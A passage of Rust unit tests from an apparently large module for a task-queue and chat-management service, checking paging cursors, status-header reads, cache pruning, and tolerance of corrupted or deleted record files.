25142 .is_none()
25143 );
25144 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25145 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25146 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25147 assert!(origin.origin_chat.is_none());
25148 assert!(!origin.origin_chat_closed);
25149 }
25150 }
25151
25152 #[test]
25153 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25154 let home = tempfile::tempdir().unwrap();
25155 let ui = delta_test_ui(home.path());
25156 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25157 for i in 0..1000 {
25158 let mut task = Task::new(
25159 "unrelated".into(),
25160 "instruction ".repeat(256),
25161 PathBuf::from("/repo"),
25162 Source::Human,
25163 );
25164 task.id = format!("history-{i:04}");
25165 ui.queue.put(&mut task).unwrap();
25166 let id = seed_talk_at(&ui.talks, &task.id, "open");
25167 let mut talk = ui.talks.get(&id).unwrap();
25168 talk.pending = "history ".repeat(256);
25169 ui.talks.put(&mut talk).unwrap();
25170 }
25171 let mut parent = Task::new(
25172 "parent".into(),
25173 "body".into(),
25174 PathBuf::from("/repo"),
25175 Source::Agent {
25176 run: chat_id.clone(),
25177 node: crate::queue::CHAT_NODE.into(),
25178 },
25179 );
25180 parent.id = "task-parent".into();
25181 parent.runs = vec!["run-parent".into()];
25182 ui.queue.put(&mut parent).unwrap();
25183 let mut child = Task::new(
25184 "child".into(),
25185 "body".into(),
25186 PathBuf::from("/repo"),
25187 Source::Human,
25188 );
25189 child.id = "task-child".into();
25190 child.runs = vec!["run-child".into()];
25191 child.followup = Some(crate::queue::FollowUp {
25192 run: "run-parent".into(),
25193 origin_task: Some(parent.id.clone()),
25194 pr: "https://example.invalid/pr/1".into(),
25195 findings: vec![],
25196 generation: 1,
25197 });
25198 ui.queue.put(&mut child).unwrap();
25199 let mut question = Question::new(
25200 child.id.clone(),
25201 crate::conduct::NODE.into(),
25202 "seat".into(),
25203 "Continue?".into(),
25204 String::new(),
25205 vec![],
25206 );
25207 let (tasks, talks, _watches) =
25208 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25209 assert_eq!(tasks.len(), 2);
25210 assert_eq!(talks.len(), 1);
25211 assert_eq!(
25212 ui.monitor.queue_index.lock().unwrap().reparsed,
25213 0,
25214 "exact ancestry bypasses the index"
25215 );
25216 assert_eq!(
25217 crate::consult::origin_talk(&tasks, &talks, &question)
25218 .unwrap()
25219 .id,
25220 chat_id
25221 );
25222 question.run = "run-child".into();
25223 question.node = "review".into();
25224 for origin_task in [Some(parent.id.clone()), None] {
25225 child.followup.as_mut().unwrap().origin_task = origin_task;
25226 ui.queue.put(&mut child).unwrap();
25227 let (tasks, talks, _watches) =
25228 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25229 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25230 let expected =
25231 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25232 .unwrap();
25233 assert_eq!(actual.id, expected.id);
25234 assert!(!actual.status.open());
25235 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25236 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25237 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25240 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25241 }
25242 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25243 ui.queue.put(&mut child).unwrap();
25244 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25245 let (tasks, talks, _watches) =
25246 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25247 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25248 child.origin_chat = Some(chat_id.clone());
25249 ui.queue.put(&mut child).unwrap();
25250 let (tasks, talks, _watches) =
25251 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25252 assert_eq!(
25253 crate::consult::origin_talk(&tasks, &talks, &question)
25254 .unwrap()
25255 .id,
25256 chat_id
25257 );
25258 let revision = question_record_revision(&question);
25259 question.abandon("settled elsewhere");
25260 assert_ne!(revision, question_record_revision(&question));
25261 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25262 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25263 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25264 let (tasks, talks, _watches) =
25265 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25266 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25267 }
25268
25269 #[test]
25270 fn list_cursors_freeze_membership_and_expire_explicitly() {
25271 let home = tempfile::tempdir().unwrap();
25272 let ui = delta_test_ui(home.path());
25273 std::fs::create_dir_all(ui.queue.root()).unwrap();
25274 for i in 0..40 {
25275 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25276 }
25277 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25278 assert_eq!(first.len(), STORE_PAGE_SIZE);
25279 let cursor = cursor.unwrap();
25280 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25281 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25282 let (second, _) = page_ids(
25283 &ui,
25284 false,
25285 PageQuery {
25286 before: Some(cursor.clone()),
25287 },
25288 )
25289 .unwrap();
25290 assert_eq!(second[0], "record-0023");
25291 assert!(second.iter().all(|id| !first.contains(id)));
25292 assert!(
25293 page_ids(
25294 &ui,
25295 true,
25296 PageQuery {
25297 before: Some(cursor.clone())
25298 }
25299 )
25300 .is_err()
25301 );
25302 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25303 assert_eq!(fresh[0], "record-9999");
25304 ui.monitor.list_walks.lock().unwrap().clear();
25305 assert!(
25306 page_ids(
25307 &ui,
25308 false,
25309 PageQuery {
25310 before: Some(cursor)
25311 }
25312 )
25313 .is_err()
25314 );
25315 }
25316
25317 #[tokio::test]
25318 async fn talk_pages_load_every_open_then_frozen_closed_history() {
25319 let home = tempfile::tempdir().unwrap();
25320 let ui = delta_test_ui(home.path());
25321 for i in 0..23 {
25323 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25324 }
25325 for i in 0..45 {
25326 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25327 }
25328 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25329 let first = talks_page(
25330 State(ui.clone()),
25331 Query(PageQuery::default()),
25332 header::HeaderMap::new(),
25333 )
25334 .await
25335 .unwrap()
25336 .0;
25337 assert_eq!(
25338 first.rows.iter().filter(|row| row.status.open()).count(),
25339 23
25340 );
25341 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25342 assert!(first.rows[..23].iter().all(|row| row.status.open()));
25343 let parsed = ui
25344 .monitor
25345 .talk_parses
25346 .load(std::sync::atomic::Ordering::Relaxed);
25347 assert_eq!(
25348 parsed,
25349 first.rows.len(),
25350 "closed bodies outside this page are not restored"
25351 );
25352 let fresh = talks_page(
25353 State(ui.clone()),
25354 Query(PageQuery::default()),
25355 header::HeaderMap::new(),
25356 )
25357 .await
25358 .unwrap()
25359 .0;
25360 assert_eq!(fresh.rows.len(), first.rows.len());
25361 assert_eq!(
25362 ui.monitor
25363 .talk_parses
25364 .load(std::sync::atomic::Ordering::Relaxed),
25365 parsed
25366 );
25367 let mut seen: std::collections::HashSet<_> =
25368 first.rows.iter().map(|row| row.id.clone()).collect();
25369 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25371 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25372 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25373 let mut next = first.next;
25374 while let Some(cursor) = next {
25375 let page = talks_page(
25376 State(ui.clone()),
25377 Query(PageQuery {
25378 before: Some(cursor),
25379 }),
25380 header::HeaderMap::new(),
25381 )
25382 .await
25383 .unwrap()
25384 .0;
25385 assert!(page.rows.len() <= STORE_PAGE_SIZE);
25386 for row in page.rows {
25387 assert!(seen.insert(row.id), "a cursor must not repeat membership");
25388 }
25389 next = page.next;
25390 }
25391 let expected: HashSet<_> = (0..23)
25392 .map(|i| format!("20260101-000000-{i:03}"))
25393 .chain(
25394 (0..45)
25395 .filter(|i| *i != 1)
25396 .map(|i| format!("20261019-000000-{i:03}")),
25397 )
25398 .collect();
25399 assert_eq!(
25400 seen, expected,
25401 "the cursor walk must return every surviving ID"
25402 );
25403 let refreshed = talks_page(
25404 State(ui.clone()),
25405 Query(PageQuery::default()),
25406 header::HeaderMap::new(),
25407 )
25408 .await
25409 .unwrap()
25410 .0;
25411 assert_eq!(
25412 refreshed
25413 .rows
25414 .iter()
25415 .filter(|row| row.status.open())
25416 .count(),
25417 23
25418 );
25419 assert!(
25420 refreshed
25421 .rows
25422 .iter()
25423 .any(|row| row.id == "20261019-000000-000")
25424 );
25425 assert!(
25426 !refreshed
25427 .rows
25428 .iter()
25429 .any(|row| row.id == "20260101-000000-000")
25430 );
25431 }
25432
25433 #[test]
25434 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25435 let home = tempfile::tempdir().unwrap();
25436 let ui = delta_test_ui(home.path());
25437 for i in 0..STORE_PAGE_SIZE + 5 {
25438 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25439 }
25440 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25441 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25442 assert!(next.is_none());
25443 }
25444
25445 #[test]
25446 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25447 struct Counted<R> {
25448 inner: R,
25449 bytes: usize,
25450 }
25451 impl<R: std::io::Read> std::io::Read for Counted<R> {
25452 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25453 let n = self.inner.read(buf)?;
25454 self.bytes += n;
25455 Ok(n)
25456 }
25457 }
25458 let home = tempfile::tempdir().unwrap();
25459 let ui = delta_test_ui(home.path());
25460 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25461 let mut chat = ui.talks.get(&id).unwrap();
25462 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25463 chat.turns = vec![
25464 serde_json::from_value(serde_json::json!({
25465 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25466 }))
25467 .unwrap(),
25468 ];
25469 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25470 chat.status = status;
25471 let body = serde_json::to_vec_pretty(&chat).unwrap();
25473 let mut reader = Counted {
25474 inner: body.as_slice(),
25475 bytes: 0,
25476 };
25477 assert_eq!(read_talk_status(&mut reader), Some(status));
25478 assert!(
25479 reader.bytes <= 1024,
25480 "header classification read {} bytes",
25481 reader.bytes
25482 );
25483 }
25484 }
25485 let noncanonical = format!(
25488 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25489 "x".repeat(1024 * 1024)
25490 );
25491 let mut reader = Counted {
25492 inner: noncanonical.as_bytes(),
25493 bytes: 0,
25494 };
25495 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25496 assert!(reader.bytes <= 1024);
25497 let oversized = format!(
25498 r#"{{"agent":"{}","status":"open"}}"#,
25499 "x".repeat(128 * 1024)
25500 );
25501 let mut reader = Counted {
25502 inner: oversized.as_bytes(),
25503 bytes: 0,
25504 };
25505 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25506 assert!(reader.bytes <= 64 * 1024);
25507 }
25508
25509 #[test]
25510 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25511 let home = tempfile::tempdir().unwrap();
25512 let ui = delta_test_ui(home.path());
25513 seed_talk_at(&ui.talks, "header-chat", "open");
25514 std::fs::create_dir_all(ui.queue.root()).unwrap();
25515 let (started, ready) = std::sync::mpsc::channel();
25516 let (release, wait) = std::sync::mpsc::channel();
25517 let chat_ui = ui.clone();
25518 let scan = std::thread::spawn(move || {
25519 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25520 started.send(()).unwrap();
25521 wait.recv().unwrap();
25522 open_talk_ids(ui, ids)
25523 })
25524 .unwrap()
25525 });
25526 ready.recv_timeout(Duration::from_secs(2)).unwrap();
25527 let (finished, result) = std::sync::mpsc::channel();
25528 let queue = std::thread::spawn(move || {
25529 finished
25530 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25531 .unwrap();
25532 });
25533 let completed = result.recv_timeout(Duration::from_secs(2));
25534 release.send(()).unwrap();
25536 scan.join().unwrap();
25537 queue.join().unwrap();
25538 assert!(
25539 completed.unwrap(),
25540 "queue paging must not wait for chat header I/O"
25541 );
25542 }
25543
25544 #[test]
25545 fn talk_status_projection_does_not_cache_files_changed_during_read() {
25546 let home = tempfile::tempdir().unwrap();
25547 let ui = delta_test_ui(home.path());
25548 let ids = vec!["changing-chat".to_owned()];
25549 seed_talk_at(&ui.talks, &ids[0], "closed");
25550 assert!(open_talk_ids(&ui, &ids).is_empty());
25551 seed_talk_at(&ui.talks, &ids[0], "open");
25552 let open = open_talk_ids_with(&ui, &ids, |path| {
25553 let value: serde_json::Value =
25554 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25555 seed_talk_at(&ui.talks, &ids[0], "closed");
25557 serde_json::from_value(value["status"].clone()).ok()
25558 });
25559 assert!(open.contains(&ids[0]));
25560 assert!(
25561 ui.monitor
25562 .talk_status_index
25563 .lock()
25564 .unwrap()
25565 .records
25566 .is_empty()
25567 );
25568 assert!(open_talk_ids(&ui, &ids).is_empty());
25569 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25570 }
25571
25572 #[test]
25573 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25574 let home = tempfile::tempdir().unwrap();
25575 let ui = delta_test_ui(home.path());
25576 let headers = header::HeaderMap::new();
25577 seed_talk_at(&ui.talks, "open-chat", "open");
25578 seed_talk_at(&ui.talks, "closed-chat", "closed");
25579 talk_rows(
25580 &ui,
25581 vec!["open-chat".into(), "closed-chat".into()],
25582 &headers,
25583 );
25584 {
25585 let mut index = ui.monitor.talk_index.lock().unwrap();
25586 let closed = index["closed-chat"].1.clone();
25587 for i in 0..1000 {
25588 index.insert(
25589 format!("cached-closed-{i}"),
25590 (
25591 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25592 closed.clone(),
25593 ),
25594 );
25595 }
25596 }
25597 assert_eq!(
25598 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25599 1
25600 );
25601 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25602 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25603 assert_eq!(
25604 ui.monitor
25605 .talk_parses
25606 .load(std::sync::atomic::Ordering::Relaxed),
25607 2
25608 );
25609 {
25610 let mut index = ui.monitor.talk_index.lock().unwrap();
25611 let open = index["open-chat"].1.clone();
25612 for i in 0..1000 {
25613 index.insert(
25614 format!("cached-open-{i}"),
25615 (
25616 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25617 open.clone(),
25618 ),
25619 );
25620 }
25621 }
25622 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25624 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25625 assert_eq!(
25626 ui.monitor
25627 .talk_parses
25628 .load(std::sync::atomic::Ordering::Relaxed),
25629 2
25630 );
25631 }
25632
25633 #[test]
25634 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25635 let home = tempfile::tempdir().unwrap();
25636 let ui = delta_test_ui(home.path());
25637 std::fs::create_dir_all(ui.talks.root()).unwrap();
25638 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25639 for id in &ids {
25640 std::fs::write(
25641 ui.talks.path_of(id),
25642 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25643 )
25644 .unwrap();
25645 }
25646 assert!(open_talk_ids(&ui, &ids).is_empty());
25647 assert_eq!(
25648 ui.monitor.talk_status_index.lock().unwrap().parses,
25649 ids.len()
25650 );
25651 assert!(open_talk_ids(&ui, &ids).is_empty());
25652 assert_eq!(
25653 ui.monitor.talk_status_index.lock().unwrap().parses,
25654 ids.len()
25655 );
25656 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25657 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25658 assert_eq!(
25659 open_talk_ids(&ui, &ids),
25660 std::collections::HashSet::from([ids[0].clone()])
25661 );
25662 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25663 assert_eq!(parsed, ids.len() + 2);
25664 open_talk_ids(&ui, &ids);
25665 assert_eq!(
25666 ui.monitor.talk_status_index.lock().unwrap().parses,
25667 parsed,
25668 "unreadable rows are cached too"
25669 );
25670 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25671 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25672 assert!(
25673 !ui.monitor
25674 .talk_status_index
25675 .lock()
25676 .unwrap()
25677 .records
25678 .contains_key(&ids[0])
25679 );
25680 assert!(
25681 ui.monitor.talk_index.lock().unwrap().is_empty(),
25682 "classification never caches bodies"
25683 );
25684 }
25685
25686 #[tokio::test]
25687 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25688 let home = tempfile::tempdir().unwrap();
25689 let ui = delta_test_ui(home.path());
25690 let mut task = Task::new(
25691 "task".into(),
25692 "body".into(),
25693 PathBuf::from("/repo"),
25694 Source::Human,
25695 );
25696 ui.queue.put(&mut task).unwrap();
25697 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25698 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25699 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25700 let expected = parsed + usize::from(!cfg!(unix));
25701 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25702 task.status = crate::queue::TaskStatus::Held;
25703 ui.queue.put(&mut task).unwrap();
25704 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25705 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25706 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25707 ui.queue.put(&mut task).unwrap();
25708 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25709 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25710 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25711 }
25712
25713 #[tokio::test]
25714 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25715 let home = tempfile::tempdir().unwrap();
25716 let ui = delta_test_ui(home.path());
25717 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25718 let before = health(State(ui.clone())).await.unwrap().0;
25719 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25720 let after = health(State(ui)).await.unwrap().0;
25721 assert_ne!(before.notifications_rev, after.notifications_rev);
25722 assert_eq!(after.notifications_unread, 1);
25723 }
25724
25725 #[tokio::test]
25726 async fn list_pages_bound_history_and_keep_dependency_evidence() {
25727 let home = tempfile::tempdir().unwrap();
25728 let ui = delta_test_ui(home.path());
25729 let queue = &ui.queue;
25730 let talks = &ui.talks;
25731 for i in 0..1000 {
25732 let id = format!("20261019-{i:06}-page");
25733 let mut task = Task::new(
25734 "task".into(),
25735 "instruction".repeat(100),
25736 PathBuf::from("/repo/magi"),
25737 Source::Human,
25738 );
25739 task.id = id.clone();
25740 if i == 0 {
25741 task.status = crate::queue::TaskStatus::Held;
25742 } else if i == 999 {
25743 task.status = crate::queue::TaskStatus::Blocked;
25744 task.blocked_by = vec!["20261019-000000-page".into()];
25745 }
25746 queue.put(&mut task).unwrap();
25747 seed_talk_at(talks, &id, "closed");
25748 }
25749 let page = serde_json::to_value(
25750 queue_page(State(ui.clone()), Query(PageQuery::default()))
25751 .await
25752 .unwrap()
25753 .0,
25754 )
25755 .unwrap();
25756 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25757 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25758 assert!(
25759 !page["rows"][0]["stuck_roots"]
25760 .as_array()
25761 .unwrap()
25762 .is_empty()
25763 );
25764 let cursor = page["next"].as_str().unwrap();
25765 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25766 .as_str()
25767 .unwrap();
25768 std::fs::remove_file(queue.path_of(last_id)).unwrap();
25770 let next = serde_json::to_value(
25771 queue_page(
25772 State(ui.clone()),
25773 Query(PageQuery {
25774 before: Some(cursor.into()),
25775 }),
25776 )
25777 .await
25778 .unwrap()
25779 .0,
25780 )
25781 .unwrap();
25782 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25783 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25784 let chats = serde_json::to_value(
25785 talks_page(
25786 State(ui.clone()),
25787 Query(PageQuery::default()),
25788 header::HeaderMap::new(),
25789 )
25790 .await
25791 .unwrap()
25792 .0,
25793 )
25794 .unwrap();
25795 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25796 assert!(chats["rows"][0].get("pending").is_none());
25797 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25798 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25799 assert_eq!(counts["held"], 1);
25800 assert_eq!(counts["blocked"], 1);
25801 assert_eq!(counts["queued"], 997);
25802 }
25803
25804 #[test]
25805 fn queue_index_observes_external_replacement_deletion_and_corruption() {
25806 let dir = tempfile::tempdir().unwrap();
25807 let ui = delta_test_ui(dir.path());
25808 let mut task = Task::new(
25809 "task".into(),
25810 "body".into(),
25811 PathBuf::from("/repo"),
25812 Source::Human,
25813 );
25814 task.runs = vec!["run-a".into()];
25815 ui.queue.put(&mut task).unwrap();
25816 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25817 task.runs = vec!["run-b".into()];
25818 let path = ui.queue.path_of(&task.id);
25819 let modified = path.metadata().unwrap().modified().unwrap();
25820 let replacement = path.with_extension("replacement");
25821 let bytes = serde_json::to_vec_pretty(&task).unwrap();
25822 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25823 std::fs::write(&replacement, &bytes).unwrap();
25824 std::fs::File::options()
25825 .write(true)
25826 .open(&replacement)
25827 .unwrap()
25828 .set_times(std::fs::FileTimes::new().set_modified(modified))
25829 .unwrap();
25830 std::fs::rename(&replacement, &path).unwrap();
25831 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25832 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25833 std::fs::write(&path, "broken").unwrap();
25834 assert!(ui.find_task_for_run("run-b").is_err());
25835 std::fs::write(&path, bytes).unwrap();
25836 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25837 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25838 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25839 }
25840
25841 #[tokio::test]
25842 async fn conversation_core_is_independent_of_unreadable_related_history() {
25843 let home = tempfile::tempdir().unwrap();
25844 let ui = delta_test_ui(home.path());
25845 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25846 std::fs::create_dir_all(ui.queue.root()).unwrap();
25847 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25848 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25849 .await
25850 .unwrap();
25851 assert_eq!(core.talk.id, id);
25852 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25853 }
25854
25855 #[test]
25856 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25857 let home = tempfile::tempdir().unwrap();
25858 let ui = delta_test_ui(home.path());
25859 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25860 let directory = home.path().join("workers/jobs/abcdef");
25861 std::fs::create_dir_all(&directory).unwrap();
25862 let job = crate::worker::Job {
25863 id: "abcdef".into(),
25864 sequence: 1,
25865 kind: "chat".into(),
25866 key: id.clone(),
25867 payload: serde_json::json!({ "talk": id }),
25868 generation: "test".into(),
25869 version: None,
25870 status: crate::worker::Status::Running,
25871 result: None,
25872 pid: None,
25873 created_at: 0,
25874 finished_at: None,
25875 };
25876 std::fs::write(
25877 directory.join("job.json"),
25878 serde_json::to_vec(&job).unwrap(),
25879 )
25880 .unwrap();
25881 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25882 let store =
25883 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25884 let runtime = tokio::runtime::Builder::new_current_thread()
25885 .enable_all()
25886 .max_blocking_threads(1)
25887 .build()
25888 .unwrap();
25889 runtime.block_on(async {
25890 let (release, held) = std::sync::mpsc::channel();
25891 let (started, ready) = tokio::sync::oneshot::channel();
25892 let occupied = tokio::task::spawn_blocking(move || {
25893 started.send(()).unwrap();
25894 held.recv().unwrap();
25895 });
25896 ready.await.unwrap();
25897 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25898 let bulk = ui
25899 .monitor
25900 .bulk_slots
25901 .clone()
25902 .acquire_many_owned(2)
25903 .await
25904 .unwrap();
25905 let result = tokio::time::timeout(
25906 Duration::from_secs(2),
25907 talk_core(State(ui.clone()), Path(id.clone())),
25908 )
25909 .await;
25910 drop(store);
25912 drop(bulk);
25913 release.send(()).unwrap();
25914 occupied.await.unwrap();
25915 let _ = secondary.await.unwrap().unwrap();
25916 let Json(core) = result
25917 .expect("transcript must bypass secondary work and the worker store lock")
25918 .unwrap();
25919 assert!(
25920 core.thinking,
25921 "read-only observation retains live worker state"
25922 );
25923 assert_eq!(core.talk.id, id);
25924 let admission_ui = ui.clone();
25925 let (release, held) = std::sync::mpsc::channel();
25926 let (started, ready) = tokio::sync::oneshot::channel();
25927 let admission = std::thread::spawn(move || {
25928 let _lock = admission_ui.talk_turns.lock().unwrap();
25929 started.send(()).unwrap();
25930 held.recv().unwrap();
25931 });
25932 ready.await.unwrap();
25933 let result = tokio::time::timeout(
25934 Duration::from_secs(2),
25935 talk_core(State(ui.clone()), Path(id.clone())),
25936 )
25937 .await;
25938 release.send(()).unwrap();
25939 admission.join().unwrap();
25940 assert!(
25941 result
25942 .expect("display must not wait behind local admission")
25943 .unwrap()
25944 .0
25945 .thinking
25946 );
25947 assert!(ui.is_thinking(&id));
25948 assert!(ui.is_thinking_observed(&id));
25949 drop(live);
25950 assert!(
25951 !ui.is_thinking_observed(&id),
25952 "a finished lease no longer appears live"
25953 );
25954 assert!(!ui.is_thinking(&id));
25955 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25956 assert!(
25957 ui.is_thinking_observed(&id),
25958 "local admission remains visible"
25959 );
25960 });
25961 }
25962
25963 #[tokio::test]
25964 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25965 let home = tempfile::tempdir().unwrap();
25966 let ui = delta_test_ui(home.path());
25967 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25968 let mut task = Task::new(
25969 "Referenced task".into(),
25970 "Unrelated instruction history".repeat(1024),
25971 home.path().into(),
25972 Source::Human,
25973 );
25974 task.id = "20261019-000000-abcd".into();
25975 ui.queue.put(&mut task).unwrap();
25976 let mut conversation = ui.talks.get(&id).unwrap();
25977 conversation.turns.push(talk::Turn {
25978 sender: Some(talk::Sender::Persona),
25979 who: talk::Who::Agent,
25980 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25981 at: conversation.created_at,
25982 attachments: Vec::new(),
25983 usage: None,
25984 breaks: None,
25985 messages: Vec::new(),
25986 posted_by: None,
25987 });
25988 ui.talks.put(&mut conversation).unwrap();
25989
25990 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25991 let markdown = serde_json::to_value(&core.turn_bodies_md)
25992 .unwrap()
25993 .to_string();
25994 assert!(markdown.contains("\"strong\""));
25995 assert!(markdown.contains("\"table\""));
25996 assert!(markdown.contains("\"bullet_list\""));
25997 assert!(markdown.contains("\"code_block\""));
25998 assert!(!markdown.contains("\"internal_link\""));
25999 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26000 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26001 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26002
26003 let references = ui.references.for_talk(home.path(), &conversation);
26006 let mut decorated = core.turn_bodies_md[0].clone();
26007 references.markdown(&mut decorated);
26008 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26009 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26010 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26011 assert_eq!(
26012 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26013 conversation.turns[0].body
26014 );
26015 }
26016
26017 #[tokio::test]
26018 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26019 let home = tempfile::tempdir().unwrap();
26020 let ui = delta_test_ui(home.path());
26021 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26022 let mut run = RunState::new(
26023 PathBuf::from("/repo"),
26024 "main".into(),
26025 "01234567".into(),
26026 "Useful run".into(),
26027 Config::default(),
26028 );
26029 run.save_under(home.path()).unwrap();
26030 let mut task = Task::new(
26031 "Related".into(),
26032 "body".into(),
26033 PathBuf::from("/repo"),
26034 Source::Agent {
26035 run: talk_id.clone(),
26036 node: "chat".into(),
26037 },
26038 );
